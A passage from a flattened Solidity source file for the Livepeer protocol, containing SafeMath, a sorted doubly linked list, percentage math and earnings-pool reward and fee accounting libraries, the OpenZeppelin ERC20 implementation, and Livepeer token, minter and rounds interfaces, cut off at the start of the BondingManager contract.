uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: contracts/libraries/SortedDoublyLL.sol
pragma solidity ^0.5.11;
/**
* @title A sorted doubly linked list with nodes sorted in descending order. Optionally accepts insert position hints
*
* Given a new node with a `key`, a hint is of the form `(prevId, nextId)` s.t. `prevId` and `nextId` are adjacent in the list.
* `prevId` is a node with a key >= `key` and `nextId` is a node with a key <= `key`. If the sender provides a hint that is a valid insert position
* the insert operation is a constant time storage write. However, the provided hint in a given transaction might be a valid insert position, but if other transactions are included first, when
* the given transaction is executed the provided hint may no longer be a valid insert position. For example, one of the nodes referenced might be removed or their keys may
* be updated such that the the pair of nodes in the hint no longer represent a valid insert position. If one of the nodes in the hint becomes invalid, we still try to use the other
* valid node as a starting point for finding the appropriate insert position. If both nodes in the hint become invalid, we use the head of the list as a starting point
* to find the appropriate insert position.
*/
library SortedDoublyLL {
using SafeMath for uint256;
// Information for a node in the list
struct Node {
uint256 key; // Node's key used for sorting
address nextId; // Id of next node (smaller key) in the list
address prevId; // Id of previous node (larger key) in the list
}
// Information for the list
struct Data {
address head; // Head of the list. Also the node in the list with the largest key
address tail; // Tail of the list. Also the node in the list with the smallest key
uint256 maxSize; // Maximum size of the list
uint256 size; // Current size of the list
mapping (address => Node) nodes; // Track the corresponding ids for each node in the list
}
/**
* @dev Set the maximum size of the list
* @param _size Maximum size
*/
function setMaxSize(Data storage self, uint256 _size) public {
require(_size > self.maxSize, "new max size must be greater than old max size");
self.maxSize = _size;
}
/**
* @dev Add a node to the list
* @param _id Node's id
* @param _key Node's key
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function insert(Data storage self, address _id, uint256 _key, address _prevId, address _nextId) public {
// List must not be full
require(!isFull(self), "list is full");
// List must not already contain node
require(!contains(self, _id), "node already in list");
// Node id must not be null
require(_id != address(0), "node id is null");
// Key must be non-zero
require(_key > 0, "key is zero");
address prevId = _prevId;
address nextId = _nextId;
if (!validInsertPosition(self, _key, prevId, nextId)) {
// Sender's hint was not a valid insert position
// Use sender's hint to find a valid insert position
(prevId, nextId) = findInsertPosition(self, _key, prevId, nextId);
}
self.nodes[_id].key = _key;
if (prevId == address(0) && nextId == address(0)) {
// Insert as head and tail
self.head = _id;
self.tail = _id;
} else if (prevId == address(0)) {
// Insert before `prevId` as the head
self.nodes[_id].nextId = self.head;
self.nodes[self.head].prevId = _id;
self.head = _id;
} else if (nextId == address(0)) {
// Insert after `nextId` as the tail
self.nodes[_id].prevId = self.tail;
self.nodes[self.tail].nextId = _id;
self.tail = _id;
} else {
// Insert at insert position between `prevId` and `nextId`
self.nodes[_id].nextId = nextId;
self.nodes[_id].prevId = prevId;
self.nodes[prevId].nextId = _id;
self.nodes[nextId].prevId = _id;
}
self.size = self.size.add(1);
}
/**
* @dev Remove a node from the list
* @param _id Node's id
*/
function remove(Data storage self, address _id) public {
// List must contain the node
require(contains(self, _id), "node not in list");
if (self.size > 1) {
// List contains more than a single node
if (_id == self.head) {
// The removed node is the head
// Set head to next node
self.head = self.nodes[_id].nextId;
// Set prev pointer of new head to null
self.nodes[self.head].prevId = address(0);
} else if (_id == self.tail) {
// The removed node is the tail
// Set tail to previous node
self.tail = self.nodes[_id].prevId;
// Set next pointer of new tail to null
self.nodes[self.tail].nextId = address(0);
} else {
// The removed node is neither the head nor the tail
// Set next pointer of previous node to the next node
self.nodes[self.nodes[_id].prevId].nextId = self.nodes[_id].nextId;
// Set prev pointer of next node to the previous node
self.nodes[self.nodes[_id].nextId].prevId = self.nodes[_id].prevId;
}
} else {
// List contains a single node
// Set the head and tail to null
self.head = address(0);
self.tail = address(0);
}
delete self.nodes[_id];
self.size = self.size.sub(1);
}
/**
* @dev Update the key of a node in the list
* @param _id Node's id
* @param _newKey Node's new key
* @param _prevId Id of previous node for the new insert position
* @param _nextId Id of next node for the new insert position
*/
function updateKey(Data storage self, address _id, uint256 _newKey, address _prevId, address _nextId) public {
// List must contain the node
require(contains(self, _id), "node not in list");
// Remove node from the list
remove(self, _id);
if (_newKey > 0) {
// Insert node if it has a non-zero key
insert(self, _id, _newKey, _prevId, _nextId);
}
}
/**
* @dev Checks if the list contains a node
* @param _id Address of transcoder
* @return true if '_id' is in list
*/
function contains(Data storage self, address _id) public view returns (bool) {
// List only contains non-zero keys, so if key is non-zero the node exists
return self.nodes[_id].key > 0;
}
/**
* @dev Checks if the list is full
* @return true if list is full
*/
function isFull(Data storage self) public view returns (bool) {
return self.size == self.maxSize;
}
/**
* @dev Checks if the list is empty
* @return true if list is empty
*/
function isEmpty(Data storage self) public view returns (bool) {
return self.size == 0;
}
/**
* @dev Returns the current size of the list
* @return current size of the list
*/
function getSize(Data storage self) public view returns (uint256) {
return self.size;
}
/**
* @dev Returns the maximum size of the list
*/
function getMaxSize(Data storage self) public view returns (uint256) {
return self.maxSize;
}
/**
* @dev Returns the key of a node in the list
* @param _id Node's id
* @return key for node with '_id'
*/
function getKey(Data storage self, address _id) public view returns (uint256) {
return self.nodes[_id].key;
}
/**
* @dev Returns the first node in the list (node with the largest key)
* @return address for the head of the list
*/
function getFirst(Data storage self) public view returns (address) {
return self.head;
}
/**
* @dev Returns the last node in the list (node with the smallest key)
* @return address for the tail of the list
*/
function getLast(Data storage self) public view returns (address) {
return self.tail;
}
/**
* @dev Returns the next node (with a smaller key) in the list for a given node
* @param _id Node's id
* @return address for the node following node in list with '_id'
*/
function getNext(Data storage self, address _id) public view returns (address) {
return self.nodes[_id].nextId;
}
/**
* @dev Returns the previous node (with a larger key) in the list for a given node
* @param _id Node's id
* address for the node before node in list with '_id'
*/
function getPrev(Data storage self, address _id) public view returns (address) {
return self.nodes[_id].prevId;
}
/**
* @dev Check if a pair of nodes is a valid insertion point for a new node with the given key
* @param _key Node's key
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
* @return if the insert position is valid
*/
function validInsertPosition(Data storage self, uint256 _key, address _prevId, address _nextId) public view returns (bool) {
if (_prevId == address(0) && _nextId == address(0)) {
// `(null, null)` is a valid insert position if the list is empty
return isEmpty(self);
} else if (_prevId == address(0)) {
// `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list
return self.head == _nextId && _key >= self.nodes[_nextId].key;
} else if (_nextId == address(0)) {
// `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list
return self.tail == _prevId && _key <= self.nodes[_prevId].key;
} else {
// `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_key` falls between the two nodes' keys
return self.nodes[_prevId].nextId == _nextId && self.nodes[_prevId].key >= _key && _key >= self.nodes[_nextId].key;
}
}
/**
* @dev Descend the list (larger keys to smaller keys) to find a valid insert position
* @param _key Node's key
* @param _startId Id of node to start ascending the list from
*/
function descendList(Data storage self, uint256 _key, address _startId) private view returns (address, address) {
// If `_startId` is the head, check if the insert position is before the head
if (self.head == _startId && _key >= self.nodes[_startId].key) {
return (address(0), _startId);
}
address prevId = _startId;
address nextId = self.nodes[prevId].nextId;
// Descend the list until we reach the end or until we find a valid insert position
while (prevId != address(0) && !validInsertPosition(self, _key, prevId, nextId)) {
prevId = self.nodes[prevId].nextId;
nextId = self.nodes[prevId].nextId;
}
return (prevId, nextId);
}
/**
* @dev Ascend the list (smaller keys to larger keys) to find a valid insert position
* @param _key Node's key
* @param _startId Id of node to start descending the list from
*/
function ascendList(Data storage self, uint256 _key, address _startId) private view returns (address, address) {
// If `_startId` is the tail, check if the insert position is after the tail
if (self.tail == _startId && _key <= self.nodes[_startId].key) {
return (_startId, address(0));
}
address nextId = _startId;
address prevId = self.nodes[nextId].prevId;
// Ascend the list until we reach the end or until we find a valid insertion point
while (nextId != address(0) && !validInsertPosition(self, _key, prevId, nextId)) {
nextId = self.nodes[nextId].prevId;
prevId = self.nodes[nextId].prevId;
}
return (prevId, nextId);
}
/**
* @dev Find the insert position for a new node with the given key
* @param _key Node's key
* @param _prevId Id of previous node for the insert position
* @param _nextId Id of next node for the insert position
*/
function findInsertPosition(Data storage self, uint256 _key, address _prevId, address _nextId) private view returns (address, address) {
address prevId = _prevId;
address nextId = _nextId;
if (prevId != address(0)) {
if (!contains(self, prevId) || _key > self.nodes[prevId].key) {
// `prevId` does not exist anymore or now has a smaller key than the given key
prevId = address(0);
}
}
if (nextId != address(0)) {
if (!contains(self, nextId) || _key < self.nodes[nextId].key) {
// `nextId` does not exist anymore or now has a larger key than the given key
nextId = address(0);
}
}
if (prevId == address(0) && nextId == address(0)) {
// No hint - descend list starting from head
return descendList(self, _key, self.head);
} else if (prevId == address(0)) {
// No `prevId` for hint - ascend list starting from `nextId`
return ascendList(self, _key, nextId);
} else if (nextId == address(0)) {
// No `nextId` for hint - descend list starting from `prevId`
return descendList(self, _key, prevId);
} else {
// Descend list starting from `prevId`
return descendList(self, _key, prevId);
}
}
}
// File: contracts/libraries/MathUtils.sol
pragma solidity ^0.5.11;
library MathUtils {
using SafeMath for uint256;
// Divisor used for representing percentages
uint256 public constant PERC_DIVISOR = 1000000;
/**
* @dev Returns whether an amount is a valid percentage out of PERC_DIVISOR
* @param _amount Amount that is supposed to be a percentage
*/
function validPerc(uint256 _amount) internal pure returns (bool) {
return _amount <= PERC_DIVISOR;
}
/**
* @dev Compute percentage of a value with the percentage represented by a fraction
* @param _amount Amount to take the percentage of
* @param _fracNum Numerator of fraction representing the percentage
* @param _fracDenom Denominator of fraction representing the percentage
*/
function percOf(uint256 _amount, uint256 _fracNum, uint256 _fracDenom) internal pure returns (uint256) {
return _amount.mul(percPoints(_fracNum, _fracDenom)).div(PERC_DIVISOR);
}
/**
* @dev Compute percentage of a value with the percentage represented by a fraction over PERC_DIVISOR
* @param _amount Amount to take the percentage of
* @param _fracNum Numerator of fraction representing the percentage with PERC_DIVISOR as the denominator
*/
function percOf(uint256 _amount, uint256 _fracNum) internal pure returns (uint256) {
return _amount.mul(_fracNum).div(PERC_DIVISOR);
}
/**
* @dev Compute percentage representation of a fraction
* @param _fracNum Numerator of fraction represeting the percentage
* @param _fracDenom Denominator of fraction represeting the percentage
*/
function percPoints(uint256 _fracNum, uint256 _fracDenom) internal pure returns (uint256) {
return _fracNum.mul(PERC_DIVISOR).div(_fracDenom);
}
}
// File: contracts/bonding/libraries/EarningsPool.sol
pragma solidity ^0.5.11;
/**
* @title EarningsPool
* @dev Manages reward and fee pools for delegators and transcoders
*/
library EarningsPool {
using SafeMath for uint256;
// Represents rewards and fees to be distributed to delegators
// The `hasTranscoderRewardFeePool` flag was introduced so that EarningsPool.Data structs used by the BondingManager
// created with older versions of this library can be differentiated from EarningsPool.Data structs used by the BondingManager
// created with a newer version of this library. If the flag is true, then the struct was initialized using the `init` function
// using a newer version of this library meaning that it is using separate transcoder reward and fee pools
struct Data {
uint256 rewardPool; // Delegator rewards. If `hasTranscoderRewardFeePool` is false, this will contain transcoder rewards as well
uint256 feePool; // Delegator fees. If `hasTranscoderRewardFeePool` is false, this will contain transcoder fees as well
uint256 totalStake; // Transcoder's total stake during the earnings pool's round
uint256 claimableStake; // Stake that can be used to claim portions of the fee and reward pools
uint256 transcoderRewardCut; // Transcoder's reward cut during the earnings pool's round
uint256 transcoderFeeShare; // Transcoder's fee share during the earnings pool's round
uint256 transcoderRewardPool; // Transcoder rewards. If `hasTranscoderRewardFeePool` is false, this should always be 0
uint256 transcoderFeePool; // Transcoder fees. If `hasTranscoderRewardFeePool` is false, this should always be 0
bool hasTranscoderRewardFeePool; // Flag to indicate if the earnings pool has separate transcoder reward and fee pools
// LIP-36 (https://github.com/livepeer/LIPs/blob/master/LIPs/LIP-36.md) fields
// See EarningsPoolLIP36.sol
uint256 cumulativeRewardFactor;
uint256 cumulativeFeeFactor;
}
/**
* @dev Sets transcoderRewardCut and transcoderFeeshare for an EarningsPool
* @param earningsPool Storage pointer to EarningsPool struct
* @param _rewardCut Reward cut of transcoder during the earnings pool's round
* @param _feeShare Fee share of transcoder during the earnings pool's round
*/
function setCommission(EarningsPool.Data storage earningsPool, uint256 _rewardCut, uint256 _feeShare) internal {
earningsPool.transcoderRewardCut = _rewardCut;
earningsPool.transcoderFeeShare = _feeShare;
// Prior to LIP-36, we set this flag to true here to differentiate between EarningsPool structs created using older versions of this library.
// When using a version of this library after the introduction of this flag to read an EarningsPool struct created using an older version
// of this library, this flag should be false in the returned struct because the default value for EVM storage is 0
// earningsPool.hasTranscoderRewardFeePool = true;
}
/**
* @dev Sets totalStake for an EarningsPool
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Total stake of the transcoder during the earnings pool's round
*/
function setStake(EarningsPool.Data storage earningsPool, uint256 _stake) internal {
earningsPool.totalStake = _stake;
// Prior to LIP-36, we also set the claimableStake
// earningsPool.claimableStake = _stake;
}
/**
* @dev Return whether this earnings pool has claimable shares i.e. is there unclaimed stake
* @param earningsPool Storage pointer to EarningsPool struct
*/
function hasClaimableShares(EarningsPool.Data storage earningsPool) internal view returns (bool) {
return earningsPool.claimableStake > 0;
}
/**
* @dev Returns the fee pool share for a claimant. If the claimant is a transcoder, include transcoder fees as well.
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function feePoolShare(EarningsPool.Data storage earningsPool, uint256 _stake, bool _isTranscoder) internal view returns (uint256) {
uint256 delegatorFees = 0;
uint256 transcoderFees = 0;
if (earningsPool.hasTranscoderRewardFeePool) {
(delegatorFees, transcoderFees) = feePoolShareWithTranscoderRewardFeePool(earningsPool, _stake, _isTranscoder);
} else {
(delegatorFees, transcoderFees) = feePoolShareNoTranscoderRewardFeePool(earningsPool, _stake, _isTranscoder);
}
return delegatorFees.add(transcoderFees);
}
/**
* @dev Returns the reward pool share for a claimant. If the claimant is a transcoder, include transcoder rewards as well.
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function rewardPoolShare(EarningsPool.Data storage earningsPool, uint256 _stake, bool _isTranscoder) internal view returns (uint256) {
uint256 delegatorRewards = 0;
uint256 transcoderRewards = 0;
if (earningsPool.hasTranscoderRewardFeePool) {
(delegatorRewards, transcoderRewards) = rewardPoolShareWithTranscoderRewardFeePool(earningsPool, _stake, _isTranscoder);
} else {
(delegatorRewards, transcoderRewards) = rewardPoolShareNoTranscoderRewardFeePool(earningsPool, _stake, _isTranscoder);
}
return delegatorRewards.add(transcoderRewards);
}
/**
* @dev Helper function to calculate fee pool share if the earnings pool has a separate transcoder fee pool
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function feePoolShareWithTranscoderRewardFeePool(
EarningsPool.Data storage earningsPool,
uint256 _stake,
bool _isTranscoder
)
internal
view
returns (uint256, uint256)
{
// If there is no claimable stake, the fee pool share is 0
// If there is claimable stake, calculate fee pool share based on remaining amount in fee pool, remaining claimable stake and claimant's stake
uint256 delegatorFees = earningsPool.claimableStake > 0 ? MathUtils.percOf(earningsPool.feePool, _stake, earningsPool.claimableStake) : 0;
// If claimant is a transcoder, include transcoder fee pool as well
return _isTranscoder ? (delegatorFees, earningsPool.transcoderFeePool) : (delegatorFees, 0);
}
/**
* @dev Helper function to calculate reward pool share if the earnings pool has a separate transcoder reward pool
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function rewardPoolShareWithTranscoderRewardFeePool(
EarningsPool.Data storage earningsPool,
uint256 _stake,
bool _isTranscoder
)
internal
view
returns (uint256, uint256)
{
// If there is no claimable stake, the reward pool share is 0
// If there is claimable stake, calculate reward pool share based on remaining amount in reward pool, remaining claimable stake and claimant's stake
uint256 delegatorRewards = earningsPool.claimableStake > 0 ? MathUtils.percOf(earningsPool.rewardPool, _stake, earningsPool.claimableStake) : 0;
// If claimant is a transcoder, include transcoder reward pool as well
return _isTranscoder ? (delegatorRewards, earningsPool.transcoderRewardPool) : (delegatorRewards, 0);
}
/**
* @dev Helper function to calculate the fee pool share if the earnings pool does not have a separate transcoder fee pool
* This implements calculation logic from a previous version of this library
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function feePoolShareNoTranscoderRewardFeePool(
EarningsPool.Data storage earningsPool,
uint256 _stake,
bool _isTranscoder
)
internal
view
returns (uint256, uint256)
{
uint256 transcoderFees = 0;
uint256 delegatorFees = 0;
if (earningsPool.claimableStake > 0) {
uint256 delegatorsFees = MathUtils.percOf(earningsPool.feePool, earningsPool.transcoderFeeShare);
transcoderFees = earningsPool.feePool.sub(delegatorsFees);
delegatorFees = MathUtils.percOf(delegatorsFees, _stake, earningsPool.claimableStake);
}
if (_isTranscoder) {
return (delegatorFees, transcoderFees);
} else {
return (delegatorFees, 0);
}
}
/**
* @dev Helper function to calculate the reward pool share if the earnings pool does not have a separate transcoder reward pool
* This implements calculation logic from a previous version of this library
* @param earningsPool Storage pointer to EarningsPool struct
* @param _stake Stake of claimant
* @param _isTranscoder Flag indicating whether the claimant is a transcoder
*/
function rewardPoolShareNoTranscoderRewardFeePool(
EarningsPool.Data storage earningsPool,
uint256 _stake,
bool _isTranscoder
)
internal
view
returns (uint256, uint256)
{
uint256 transcoderRewards = 0;
uint256 delegatorRewards = 0;
if (earningsPool.claimableStake > 0) {
transcoderRewards = MathUtils.percOf(earningsPool.rewardPool, earningsPool.transcoderRewardCut);
delegatorRewards = MathUtils.percOf(earningsPool.rewardPool.sub(transcoderRewards), _stake, earningsPool.claimableStake);
}
if (_isTranscoder) {
return (delegatorRewards, transcoderRewards);
} else {
return (delegatorRewards, 0);
}
}
}
// File: contracts/bonding/libraries/EarningsPoolLIP36.sol
pragma solidity ^0.5.11;
library EarningsPoolLIP36 {
using SafeMath for uint256;
/**
* @notice Update the cumulative fee factor stored in an earnings pool with new fees
* @param earningsPool Storage pointer to EarningsPools.Data struct
* @param _prevEarningsPool In-memory EarningsPool.Data struct that stores the previous cumulative reward and fee factors
* @param _fees Amount of new fees
*/
function updateCumulativeFeeFactor(EarningsPool.Data storage earningsPool, EarningsPool.Data memory _prevEarningsPool, uint256 _fees) internal {
uint256 prevCumulativeFeeFactor = _prevEarningsPool.cumulativeFeeFactor;
uint256 prevCumulativeRewardFactor = _prevEarningsPool.cumulativeRewardFactor != 0 ? _prevEarningsPool.cumulativeRewardFactor : MathUtils.percPoints(1,1);
// Initialize the cumulativeFeeFactor when adding fees for the first time
if (earningsPool.cumulativeFeeFactor == 0) {
earningsPool.cumulativeFeeFactor = prevCumulativeFeeFactor.add(
MathUtils.percOf(prevCumulativeRewardFactor, _fees, earningsPool.totalStake)
);
return;
}
earningsPool.cumulativeFeeFactor = earningsPool.cumulativeFeeFactor.add(
MathUtils.percOf(prevCumulativeRewardFactor, _fees, earningsPool.totalStake)
);
}
/**
* @notice Update the cumulative reward factor stored in an earnings pool with new rewards
* @param earningsPool Storage pointer to EarningsPool.Data struct
* @param _prevEarningsPool Storage pointer to EarningsPool.Data struct that stores the previous cumulative reward factor
* @param _rewards Amount of new rewards
*/
function updateCumulativeRewardFactor(EarningsPool.Data storage earningsPool, EarningsPool.Data storage _prevEarningsPool, uint256 _rewards) internal {
uint256 prevCumulativeRewardFactor = _prevEarningsPool.cumulativeRewardFactor != 0 ? _prevEarningsPool.cumulativeRewardFactor : MathUtils.percPoints(1,1);
earningsPool.cumulativeRewardFactor = prevCumulativeRewardFactor.add(
MathUtils.percOf(prevCumulativeRewardFactor, _rewards, earningsPool.totalStake)
);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the `IERC20` interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using `_mint`.
* For a generic mechanism see `ERC20Mintable`.
*
* *For a detailed writeup see our guide [How to implement supply
* mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an `Approval` event is emitted on calls to `transferFrom`.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
* functions have been added to mitigate the well-known issues around setting
* allowances. See `IERC20.approve`.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: contracts/token/ILivepeerToken.sol
pragma solidity ^0.5.11;
contract ILivepeerToken is ERC20, Ownable {
function mint(address _to, uint256 _amount) public returns (bool);
function burn(uint256 _amount) public;
}
// File: contracts/token/IMinter.sol
pragma solidity ^0.5.11;
/**
* @title Minter interface
*/
contract IMinter {
// Events
event SetCurrentRewardTokens(uint256 currentMintableTokens, uint256 currentInflation);
// External functions
function createReward(uint256 _fracNum, uint256 _fracDenom) external returns (uint256);
function trustedTransferTokens(address _to, uint256 _amount) external;
function trustedBurnTokens(uint256 _amount) external;
function trustedWithdrawETH(address payable _to, uint256 _amount) external;
function depositETH() external payable returns (bool);
function setCurrentRewardTokens() external;
function currentMintableTokens() external view returns (uint256);
function currentMintedTokens() external view returns (uint256);
// Public functions
function getController() public view returns (IController);
}
// File: contracts/rounds/IRoundsManager.sol
pragma solidity ^0.5.11;
/**
* @title RoundsManager interface
*/
contract IRoundsManager {
// Events
event NewRound(uint256 indexed round, bytes32 blockHash);
// Deprecated events
// These event signatures can be used to construct the appropriate topic hashes to filter for past logs corresponding
// to these deprecated events.
// event NewRound(uint256 round)
// External functions
function initializeRound() external;
function lipUpgradeRound(uint256 _lip) external view returns (uint256);
// Public functions
function blockNum() public view returns (uint256);
function blockHash(uint256 _block) public view returns (bytes32);
function blockHashForRound(uint256 _round) public view returns (bytes32);
function currentRound() public view returns (uint256);
function currentRoundStartBlock() public view returns (uint256);
function currentRoundInitialized() public view returns (bool);
function currentRoundLocked() public view returns (bool);
}
// File: contracts/bonding/BondingManager.sol
pragma solidity 0.5.11;
/**
* @title BondingManager
* @notice Manages bonding, transcoder and rewards/fee accounting related operations of the Livepeer protocol
*/
contract BondingManager is ManagerProxyTarget, IBondingManager {
using SafeMath for uint256;
using SortedDoublyLL for SortedDoublyLL.Data;
using EarningsPool for EarningsPool.Data;
using EarningsPoolLIP36 for EarningsPool.Data;
// Constants
